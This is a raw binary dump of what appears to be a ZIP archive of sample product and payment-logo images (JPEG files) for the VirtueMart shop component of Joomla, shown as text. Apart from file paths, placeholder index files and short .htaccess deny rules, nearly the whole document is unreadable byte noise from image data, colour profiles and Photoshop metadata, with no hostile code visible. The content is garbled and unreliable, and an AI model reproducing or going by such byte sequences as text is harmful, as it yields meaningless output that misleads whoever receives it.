-n}Hbȑq:-HE5In@3_anh~FIUnYNJ}l{e8b(flݾ͠Ʉc"l-{͙Xs< x xYWQ8DN8D]7?,VbPv5;ٛ6vU[sgg rҊf:=g|T)f߷smOM$1ޤwe![>q1!v!i˔+֮Z[ޢ'MH A(I{cC ݈7b :qBfvr$ֈa$FT%d=ӻ[M>movGljh~>H♰[`GU a(_Lv%rv!TI4 Iԑkyyod nqzgKj ΰf$aVcQ 3fcçN]\Rcomponents/com_virtuemart/assets/images/vmsampleimages/category/resized/index.htmlnuW+APK@y>\)Qcomponents/com_virtuemart/assets/images/vmsampleimages/category/resized/.htaccessnuW+A Order allow,deny Deny from all PK@y>\''Ocomponents/com_virtuemart/assets/images/vmsampleimages/category/power_tools.jpgnuW+AJFIF,,CC`d" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((9# (_|gg/1x#-Ѽg7g\.GKen?ql2ߑ<H۲( p>84QcvJ~ χ, 68Vx2//_Ǿ|Ş^o ڌZij[]]DJhEQEQEQEp},w__7w}KN`EI#ťUY;+~5"ִ/^qu :: +rf|*| /b>Rs +h?U\~&F]Ėi]uk;5K[k$yU#S,ʓ~~ڿ]Ru߇?uڳ$7 j`7udj67X`U+kYWuO5n%w|LoլSYB7mkHٓM𝧄cs+l?oD`ers7uFT|Mm}eeX:ṊA,r:OTD*q#if*2WӜ&S$P|k6_2^_Ys⮏#Ŀ|%޻[&E?f?v]࿃-uV)u[]A7ҵ14غ4wTjysꗷZswy{;\#yؒI$I&W/<wx;¾0x=;Oaggvt@X`f8q[RO蠶 {g)]VP&PFhMkWF3Z\Tȱ#r c88k\w Z%h/Pn--T䀭# +H s_rⲱ F^\\~i%v%ؓSx[N{xmmeLlnm&vF2KpKx#,2:OwXL ɯh ""mGMnV?vinsX=~ڟ%iv>⇇Bxv#h&W1x\蟍|&|) qHi$ɲ8Qq+3X"m|1[#ho#5ǟl 6v{HQՖ3Q!Y"?m/>y'lz9m%z3QDo:In$GXiMk>7Q[캑%2_-™"\c kx5L:~xZQcx!ׂg6n-wb)MBIC*Gď;1YeIiğ焿%5A1h%C',KWwOZ(ЬuOk Yn7\qa%5w1ۚεsJ5j~i6jz~A-$""If OW~+|Z7jlz`V 4lљ$ϼPIH^r<,m#ßu/ɭxkzO?o>^$5S" |ӘȚɂ8o %jԼ]5 /Kxr9t: iFmLIdTKu"(@L052hluQl$+`2Ydom1w?z惬e TO1Om+FUЌF0k: 4%P{$ɍ,|esBZRH]<[LT}#XH|00-h>^ #¯,񆗩hkfm,%\s$ TXoBpƿO~-M$q3K,K4+<+;3{7wÏ_<:%5?57]JMOyk]/ nvXh|Ik_?l<7z/̿ Znookikiuj1*- IXת( ( (?5ि $ռzuG4J_؂Jw@2gsk]1o;tsM|'|~/&X%𭯀5KwM:35qK{;X?߂?goP ]j]W~_+um[TY`$ָMg_&OS mW?d-Gƿ/Ik]A I"C=ƹi$Eҧ_)x5xgEʟ43: &G?.lb6La߂Aڀ>>~տG~ֿMCa&|)PdK4I5WsGp0+k((((~"~ĿWĝF]Ծ[xg5׉~귟[\]-Au!/wWMRm36PPmI3>GE|K'᫨/(I?%ձ1~ϰҬ4.MӬ-OK;+(PH(PU((((PK@y>\Vcomponents/com_virtuemart/assets/images/vmsampleimages/category/power_outdoor_tool.jpgnuW+AJFIF,,CC" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((Gٓ=χ4%Xm2Էu̶OʦmͅV ۨ?U?kL6zOۣY]|:;nɅ2 \e_D|~ tO_|t/v?bxOiv喯QFAjvgYkWwHꢊ ?Z_ρ_>21x C|Q [Sm>]{ɭ`f1F((((((((((?k(k:$ɤ|~.7(͎E[Hgmơ%iB)jh8mޏ?-Gk{=cJ~0TE2@=.՘Zh.Jpw|m6L1xuϤ|?|eL zKG_|X7썠kHw}.+MWZax%Ldv k JW37 j_gƛM[R毧|=,4XvDq1~vA|C{~/xYz|]sqdT8h;$9 6X_^-`ѩUܟH~m/33?e׎^p˜gyC5>V,-uԯB!-8NJ0rj'CW/m D⷏b>,x{u j(<ᨮXaΗ(֮B)4Io:/7ŏm%eơo i~0Vү&I)CGKGK4e9rOPJnQѴM?WjM/|V}<"2U*ԩa^*Q}^YT,77h 1|(<__nզfMfyRsJcVUgX wW_O|ya|[gmKxGNyx^'Վy&KQhV{aKR47YY g`7nKR7)堑벿N_4۟>/i9x+BO:D:=i\(3^Mw3^L^iƛ yj;xQt_ k4d5[*x!띌ԒNǞo1ż"^UWwm+s=IoB}8-?r덱Ν,rX^3ǵ:iu5heݒ쯊>4 gm7HuϊmKvY-ϛw=17B3|O 4شYAupBd‚$wf$ q:&]jm-(!7*Wdܦ?wO n[L3 h87X裣?`ۆy~Yf{8DBwSVmflˌ?OcƖʂCR>!)sjd7^(7C`g:WαRH~*;_xUֆ&5#k'{+וm[?d|18_1`iSUUZTaRi59h{z>_Y8Ό*z;  Ŷ zaϦ7}kFlH%d!Hx~p~վ4?=Q X4/My <ȐZ2'~|;|3gk–\~|賃_˹*}[~|_ng%%5Ν,I6-nTpJ)?rwSMɗd͗%mD6Y )yG'Mv&(M Vo'{6'G FQ7oRZ dHSp7^i֟>+!YNG*iMJUh2PT+y2,|(֝>f!#sܬ{Bnx}E}Q?% Y~xl ]Owi-ͭlo2[dc'̖4I!(S̎|+? EDh?'Nii?L=K {q"yS2ƁXB|Bn?▛Q_x uh<_+|<װt#_NDռFͿ߃uO _íFA`|7{ $'ʖmwrF6fg(扱9PI`d:^^g~ RUpENWvzk+%ɩ]=Lf/x dRuN4J2aGNIJ*]7F>%Ţ|5ioޗ:(rmͧoLꁖD|2|O=SU%b_nN%H<>Ii k{hz D#t0w.Tnsy slm,-fKK9OW>p`LwJet?\9&Yf# Kc Ni7PiA-*mUPE ~Nc -&s^Es{=0KA|-nχ9jmHS+"ٝ嘓ɮ*M(((((((((((((((((((((((((((((((((((((((((((((((((((((((PK@y>\)Icomponents/com_virtuemart/assets/images/vmsampleimages/category/.htaccessnuW+A Order allow,deny Deny from all PK@y>\  Scomponents/com_virtuemart/assets/images/vmsampleimages/category/jacket_classic7.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" 5KeqN\>Gi Tyе1> 2ԯ#~vS;EiT'CVbկ@"m}?4N)ej'֪ܖ7:x)Hn\g@SC; ~W\9)-}/&g;ն}H^hA8xJ9\dE+M g@YIYIbRn{϶$~~ vg2t0:R-+tr>}bV$~#|XCھоw>SܱLKf:rC=c> q^{,T<|}R͹= cb9H9gÍRukT,"bFUS<2gk{a(1Xk\P q fm- 13!"2#4A$0CB)0G9K)SX(.UqAzM^SU 3]Qh8E.y}rc]?W%TR(\P@=A /\f fw"94 JlJ+2DJ w^&(("ˡiY`\evPv[%daVnG~hT廩چYfnޢZn;*Wx&ē v"s&yԊjo='nTpfEEY>xQMͻyI[朲iS>o|oTOzE%a[F{Bm0aҠIw jmLѳsl͸6ަ'~FteU;aȊwL D;Mgee-7M9{|Y~:a(#s'x>nkQPl)tKȩ[0j)q/L ~#L`b2ɗKN=Q}x&RF?I1XBw| -SqQ9~PW.]h T?2l$B$b,-cqzǛ 9biZׅM*n4}4tܶ0nY,qMdrEEjuT,lX2i]ZV&7]ZjfdwRdu(-(^5.b?%Ivm2_8D<.gaWg '㺼G2vN/DƑXRhcΟr*ڣl7ȹXk_TQ/åmSG^R8VE:@c*>u1jBzY,:2"f}=Aiu`2`RMs\^4ў0W>U͍ l&gQVf,T83 6wἦ*1/^k7]D"u Τ"C{B^'ILahv~ X>~44ߴSisIs.9IB +#DMAEKm ]C񟺻 VfV Vt7aӀɴ\&&~,6kg['+CI8f5 ׅ0\ Bv^p.p+^76<эv[ 1||PM{Z\ܻhmr7G@/n:YBhkr(!1 AQaq0?!¯h.3iD61_{ba@Az?r˖H@4Tx7Fp9Uʛt 8ơY^\]Yyz6Ƞ: KD=Bat |%4SМV]˔͛Gx@%%APؖFn ) @iQ y8kWצ0&5lfY.ZغԻyӯ*TBT:?f]hǿ9Bk5 Lq$ p(uC: t@}0[YE{\qm3%OaRC1&B+[oQj>)7S򉻭#1nڂ.OLR=<~ر2PRETJ(I4`I݂ysj&5˕X}~~w%}HHQaF1QR_`;N-*~WPcFѿfm4ng1.ZEa`ilupW(kTA%fD~y=@'Èr\ URŧyiQd9=c~%6\gƟHv!̅ut2GQ oR}8C@'XC!OGUy47@ .ހ=/G7ꚦWⴾ H|qx{&%E,#hg :y!#X, a{y}v3xUӂָːxb -z_ @ CPx[b{o?N]݂k܏N~s~SuI})]~i{5+멙OPoĠJaY'>i`z? ,J0<0@$qO<l=ٲͅ{C'KlVvwIth\ (5`v!S݇Գ碌8(u50'Rtw+uP=15s|jxtJ[8v\\V?J8ҫǐr,8Vڠ{fp6xN>p_ ?A#Qa^sueK egCu*Ž) ['Ru3h+F>M")pOQW0 5W{Y. wqIt*6f30oM)xkҼо fi?ta|A6>'&;ks3:wUxb`~%z {#: vq.)$!0Kw2|2tv2B#6gMsJ3N&hLf*d\]KOd_<b5` 45mo 0݃l3I At}0:EwϤ.Cwf!\9GRwH~EC)\MK!- Oq&6Jx*ʕw}Gr{Tˤhb%1vWA ּ ~̾ lcQ\BXOlhtQzPcW)U&A}ߢ1qa}W*!PD#hXZJ>F\!gyQ `3(RC$hYw16J$̊ܥnٔsڢhL)2h`PK@y>\wS* Rcomponents/com_virtuemart/assets/images/vmsampleimages/category/student_hat_16.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" Mӡ9mUsukRdnι .7}v1֢1yOu$ᴕoܧ%8.t{-kz_Xü4x thhh]eJowF< niqAF\%ueY7r=%^RL%ǩ B,U8F'dDV>DEf9>:,h5wvB"~2uC{EE2'uommE]=?U㱱ƟLhtc*BOp?p?3!"01Qq#2a A3`b$@R?5+{@pU:+O%Yy zpZjwV7W ᵭVebUX*Rey,UwT=Wr7R3FV\c %uċ +0ԫ,c{lUf+ᢔnv:U~&w伧?ÚexG" {Rb)ɍ^J*W Lq1!C E5I0K͊d%z/y0b5]]b6PrcٶlV_`;]L3ID2!9`^@(K <<<<<<8D<<1aM< Q<,#$c< <,0$<<,<<<<<<<<p?p?(!1AQq0a `?#ݨ}nSe<̻S} ܾS_.c-K : ( 6Ot>qZXjPa _ZTJ83 0;",qNUfQw̵,XB]?XŝMYl&p)i`g,:f=~ BhoUZ}ʁU -}O,gڽ=xzGs4d U( 颾X=4>-rʡm Vv&,FVO8"R=S쀼)ʲwсqΙߛBm 9 ,{M-d"JKJX|KωU!FDUXzJ+чO$aH'k=mmց}xzcb%ۻ@ؠi:#:eK4QUu ҃WҮ rMDҖբX8%f7M+3H}XE̡ z&`82Ur\h.Qcomponents/com_virtuemart/assets/images/vmsampleimages/category/black_dress_2.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" xIOū 7p>Ǡ\lk,f!8#B9gU>f;|O]4L$*\ZI0DkL{<WD1q `b10k Nݧr~Kk}]?0yM#TČZU/Ɲ ե>FF7i.I6D "?3ݧ53wd$!( dc,?4k<9_]~v 2);}!*q}7&hjz$>=?) !01@#$2Bj.AZc*$=?rߌƘx1.L!~鴵Jc;!1, :~+[G|`=_WSar^m$ɟ9~9 KM*Z2LIQC{^q-7i=S7RBťZk^CQ\X+؟=vQ黱(8v )U%dæqqZw2Mb9$u(O+x'gH8٨78,|pF>Fg.UT ,[޴x|F@8sLtJqp³ %'O؉Cad]ܠݥ+6;SkĂS7[YW1$p9Ti*4OMNXUFiAf@k%jcj\dwz/\V :b 4qTxEBcރ8]5C "t CKԖD6ͫH azp?p?1!1 "02AQ#@aBRbq3C?Iti 2`IϺzSхS"\fby}̳K3f%cYS2c;V4 e dO ;<_Ea,McпݕQ嫤fI-zC(}r[A$R%'e2 MfYfvc 4DPe(h#MYT񋹢)CA P!g40RN!fݸu9I={'psASB I36yG|VqMz_G%s ]=Tt 890t5VhinK?ҵDas&<ф4[\3hUp)(QpQ4/qE;_h3CnK1hPtRպBI]phs~ƸKSt/ܿ nL$ OxX )B˜X}DP(.V?&!1AQaq 0@?!+{'*>` P|+5^̺sً@*3RoybCMh`#<4JoWoᆧ~1Z~ L5De-@#ƃQk,}Ug Qcˬ^+8,EXcU FAbݒOUUpL<3-c()YmYcu4,ӐhrB`xeՔ1c"Ŏ kc`YwU1c:1q;>ҵUtϘF1c1RFe D;1gMy.⎙q*iR}gUJ3К"ŏcHt7 }4oc \VU1*zc/5s3Qg8OF`"j1<~%SBؕ^Rml&z\IFE%G{('d-s1d"o. h <҈<<,4<(L<,# < < <<8(sO<4!G8!H̤(;|>|_t1.xw cz_W B[סSUu oBSx; 9դ0ri&B?S-U[HճVQLU:5`o)3(]hE`𕠶V`3( ٙCf#XxbXYm^]^ peڸx 覌O@=+Y³H="׺eLmr~pXcOvRG(₮D0:^ɯՙǵC"=љJ$)tt*|IBp=]W td쟔( }/PK@y>\౑Ncomponents/com_virtuemart/assets/images/vmsampleimages/category/hand_tools.jpgnuW+AJFIF>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222w" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?( ( (W<|a{x2@| 8kм߆ uQ_?|M孆|,ܶђn2xӉm2ГaBOPZ(((h((>Q|[ap$b$ees־~-?tO]KO=gq^W}뗏ⷎ-,TgMD$c_ǃAJV08 *۹]):=z$׀ k007|4Y$zǃž Y `c .\JA Ucomponents/com_virtuemart/assets/images/vmsampleimages/category/power_indoor_tool.jpgnuW+AJFIF,,CCQd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((n.- xmmi.n%X`DU@$p ~~/oxWěk|*ws-ܷYh\s;oAu!N<Q'xP%}]vM]744_x/YMIx/3^1{KEKaVR!2?_ȴxG<[{{t o_&XFm'Xa"峮EӒKK̜TŴ;9.xfcL;W3%UBu%Մ%hbFSjE9/֊2MKo|u@2goxx= ,om5_7?|;~td9n!;?ko/$<'sgCh=FFxbFI53Űq\M"WMᢹJmNo + jZp+mN5=Q?xZKKnk(KE{c8*x5Mb_?ZWXk+Yi.1(\gO'|[,|s 7}e:K#UGm"Oe @hw?y+]Ѵfgy}_IE^"e{w۞ڰs|bg)BMK}'_*56K]TQy~558^('jO_-pE9;t'˅/c//i3Z%Iwl]^`67Tv5Eco w!Ӿ$|G? 𷈵AWO[|Ǧ UoU>-5;ZLͧ4z syL[\tiaNUS.)Vq9ZQtk'VOB,߲oX\|5dz"=h4? xv+ K,m;8=Ķd&+ل\`# ,n#W(((((+ <|A~ǟ>I=[jq꺧u+Xc*?N2#<$+ħ|idv^Ԁ+hVtkx3rN 󬡯aӺsJSkn)?&}VYqKg)&'Vϕujœ}Rmy+kw׀5ςTNL ?v+CB jlE lD~(7ꝘQEQEQEQEQEWs?[[j,m^[;MAf昀O+N8Z08l_-+ѭ S\d;r8|.Zg {P]٤y ^U>"ּ7ivm>+Etg+W-Az5Up8JX=8RJݖF7[0-*JSKM--QErQ@Q@Q@Q@Q@Q@Q@PK@y>\://Acomponents/com_virtuemart/assets/images/vmsampleimages/index.htmlnuW+A PK@y>\`&&Lcomponents/com_virtuemart/assets/images/vmsampleimages/payment/systempay.jpgnuW+AJFIF`` XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmExifMM*JR(iZ%d%dȠ8C      C  8" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?'=x7~jbcbガ˖@z XߵT މvھ 2ʍB.0Wɟj+ Z ]2Hc"^Tc+r>5g0 AƥDo'ƺ1>2ֿ1 xfYU1 mG2Xȯ zY2ŽM s#װ)kπ-˩_'F~M>T?Ds`8V8'&pե]:CG/SPII^?'R+K_(!`:@\Bwc=$j -ƞ=|;Լ<.UnX;Uœ'(aWJ''dWkG[E,R* ah(h0= `zhŢo.-RXg@7mŢќ0@1yyz|H KMvaRI?wės+H'V; ~!.M<E? F>ZF>3ßVec+k3+2c3SIY{n}Gh~7;XտEΏ=:0( *g,8瓟owK}Cvb5 I'Una[?࡚ [Mڥqy 3 M "ITak#pYAܬygk)PeM^rrm&7\KWTTn1vIhW7VrF1qIǽSfI mrpA {GWŝ _UxGTWbRpry|r6E}F$1J<[F!psW:%;4~$'"w^*Q%iZ mKH2#t  O 5˨=,S;^OԬt:XX˼y88\c5taK8&IY_]NjY(#R#rM4kǟoP֞M-cy$@2Rp2ךߴMo[y%OS3A% S5yI[uۆr\LW7_PO'!l&xc3ia1e^7ЦM'N'(Ӻ]#( ^Y|E'Fҧ[V՜i&i⏌'~>giZ!v\<`Ҋ?_/p kQa;$qE|{؅|OG\ 8J+tR~;if<7nYFvQsHDgwU!nu xJCAwf CPGPG G",l/'gNQŭKCy eNnFF?>NJ :5)C{5z|2G,-NzE6-ldo _i+Lzu,DWGC~~_ umw7;IQʭ"E X rЬPTFBe 4Vsk$C xk>Jg|߇\CS5CҔ9C^'n~<`uۘ#[!ܶN3XI><%8ђFy`SS__ 혼BQ? iE,m#.OS_ 7M_Owݻ2ʘʔ˕PN۶˲H}ee5I,Dqu#^9iIs<~'M6噤y5J 1\|]\+nsas_B襁_WmLuE s,;nw {=W!kP'xR= %ޛ?F}@|{Ko^ 5uek=&K@(X;=11Sz7s,VSXzײ[ZUFOl./uE}JO>IÒX1#oѬ? xz.;O 2AɯOŰ\ik IwC$nVd8P[z}֟sZEuSm [<*aĖ1] N:Iݽ;dSx&I^ٴo~u[iͼ 3G0 i_<弚&y\y71T ~/aύ4Im`.CDswMCzu=/L,.;)NԴkdYp?G"&{h|K~Is `z/=twıhz4ym`{Kerw` ]![~5|eyc_s_]SܘhCFA`Ak۞upF<ݻ>;)̣ NuyezŻ= '9+#Z1iڱƠm jGBog@axƚ߅"֠~x <׻ Bct&XV@$ä8,) σ㇃|<ڴ)LY] (R n޸^^0a*t[>b)Ew٤C?~o=#SMuytu 㵳9 m~`z_?~:пlψ~_n]QnY0=:_.W'GS_ND|.čg×^׈eZ;)Voo(9w~G]'[Ew/Lw.˷z K[U^ֻ{sX5<;s5R@ׇ'Yi,1X@ă "U((IɽY*j8-u2HE"@֊)[I&;6)V/db=Yd>Е,}jc Lz,($vQ]o08n{]!]: -5?QWz=:eCapD UQɢ{q(aEP/#DWvtK[;{ᜑ]?)QE8gQsEx^9xDԡ4-?Au[/ c#G)¬{T;zƓdΙA<1HlcXAW]4Q^s*5| YJ;^CWX'CO]m5;},bH٬/$q$18l<t.> x+mJ=>k .öTxثm a *>KjCX]zeO̺5Tk5{y-Г i?Tf%P[I'h߆|Kxjz},w2U@#8% **bN{S0qz5m} ~WMi}La}{bwqmb?|]Z{? @,/Kf+)fD T89(OV2Vo]5<8Tͻ~,ξ#׉5j6viwupY5;%0فN; ~ >+]O jɯXjƩ6)X-eI" ϽՔ1)U&ȇa\iݯп| 7\E8ccIcomponents/com_virtuemart/assets/images/vmsampleimages/payment/payzen.jpgnuW+AJFIF,, 2ExifMM*bj(1r2i-ƶ'-ƶ'Adobe Photoshop CS4 Macintosh2010:05:21 10:16:00d1&(.HHJFIFHH Adobe_CMAdobed            1d"?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?\:SѪ|sZU/@sr}T~R^۬mͰx}<4=kAh=&ݹV121|^b9̑Ǣk;.:~sF"}Թ#I%VvO֫io_36Ĺ]ȗfjCW0X,[§?1j( N6ՏwJ&;zBIrO._z̯"q`3-`&5I1e~roi}[a4@4{D]' S_ Sk7W]&*qi ?uK*X2~Fwv acƼi"5hr_c9q a,y1#%+ G_wK95q8qm+hH4rS2Ȱ=7#T첼<;lu$1cq:<&lDaYcMt01ܮk.nu0P#O,sYgo-z^1δSH1&I$5P>ُxqa1p~9JP`~Q$}5hwЏ]#F$ꥯu g/xoč U/ ;@O.1 ֗1\ #՟v<%. __ ~CGU>`3CNEw9 >cHV~yIuUX纊Xfղ7~ջgVϧj437 md5gNӱǷsC=nȥvC"'iDUhFn.4bX?\o4bӕvױLo/ĸEUa.se,/E=C 3mg@ Q:M2!ğ)14~[sj5@h2NՕX?7U9A߼Q1@ V :k'`#80Z!6/%CYrk6+K$}OًY#kZ9Q7֢  t ZG=QOғw$lߢԾjI%?M$eI%?M$eI%?M$eI%?M$eI%?M(W$?I|ؒJPhotoshop 3.08BIM8BIM%\/{gdպ8BIM++8BIM&?8BIM x8BIM8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM8BIM 8BIM08BIM-8BIM@@8BIM8BIMnullbaseNameTEXT UtilisateurboundsObjcRct1Top longLeftlongBtomlong1RghtlongdslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong1RghtlongdurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM d1,9lJFIFHH Adobe_CMAdobed            1d"?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?\:SѪ|sZU/@sr}T~R^۬mͰx}<4=kAh=&ݹV121|^b9̑Ǣk;.:~sF"}Թ#I%VvO֫io_36Ĺ]ȗfjCW0X,[§?1j( N6ՏwJ&;zBIrO._z̯"q`3-`&5I1e~roi}[a4@4{D]' S_ Sk7W]&*qi ?uK*X2~Fwv acƼi"5hr_c9q a,y1#%+ G_wK95q8qm+hH4rS2Ȱ=7#T첼<;lu$1cq:<&lDaYcMt01ܮk.nu0P#O,sYgo-z^1δSH1&I$5P>ُxqa1p~9JP`~Q$}5hwЏ]#F$ꥯu g/xoč U/ ;@O.1 ֗1\ #՟v<%. __ ~CGU>`3CNEw9 >cHV~yIuUX纊Xfղ7~ջgVϧj437 md5gNӱǷsC=nȥvC"'iDUhFn.4bX?\o4bӕvױLo/ĸEUa.se,/E=C 3mg@ Q:M2!ğ)14~[sj5@h2NՕX?7U9A߼Q1@ V :k'`#80Z!6/%CYrk6+K$}OًY#kZ9Q7֢  t ZG=QOғw$lߢԾjI%?M$eI%?M$eI%?M$eI%?M$eI%?M(W$?I|ؒJ8BIM!UAdobe PhotoshopAdobe Photoshop CS48BIMmoptdTargetSettings MttCObjc NativeQuadBl longGrn longRd longOptmboolQltylongd blurAmountdoubembedICCProfilebool fileFormatenum FileFormatJPEG noMatteColorbool progressivebool zonedQualityObjc ZonedInfo channelIDlong emphasizeTextboolemphasizeVectorsboolfloorlong8BIM-msetnullVersionlong8BIMms4w8BIMmaniIRFR8BIMAnDsnullAFStlongFrInVlLsObjcnullFrIDlong!3FrDllongFStsVlLsObjcnullFsIDlongAFrmlongFsFrVlLslong!3LCntlong8BIMRoll8BIMmfri8BIM0http://ns.adobe.com/xap/1.0/ XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmAdobed@1d      u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ﶻYgp ݛ(R*rSMj%Uw֢Ií%.=};w&m3&x%0Mys,*VK{[u#f[|Hㄉ5v#U3nsUOOStּ귭pLjIY:aڵAwlpUE4z$~z*(`nڳ,OyFk0qj Tkoe3sp o9m0=LjP/Sδ꺠еlٰOa""i'Y\U,Nb NV6}`۶ͮZֆUXєYMX`#D2GL3/wfjo\y.+(d(i֔\ fӬe2ɲVV7;:vdu,emLi#%dqcZ{#5m:>Ρ樠C$*rI&#5m: ag7%&^9\Q#E2C*Z$zs2Ѿ;o<7&YȎDdIL0 æ"L~` %5BouYأnyoռ4׿-><Lշ?zg?~[Gj ?uhw˾Sd6jmR3{k$2=-F>v#PMH] Oo( $m,XJjO=ѢHI -*d`hLh7B2sI?}zVV?o~jo]'}>|)qп?>=mA6b7/>=Y(Q)TM&O$ UEz /MSAVhIX)j?k7 y.vctkf>~JZ HEAnڵ[l쟐5;sKCCOA'xY\o!-,"Z)#)jy-6$q>qy?lwc{{]22|=bV-VBƥlDO6K3]_EX]OKtF(z\QDj+)i9SQ,$Uۭa 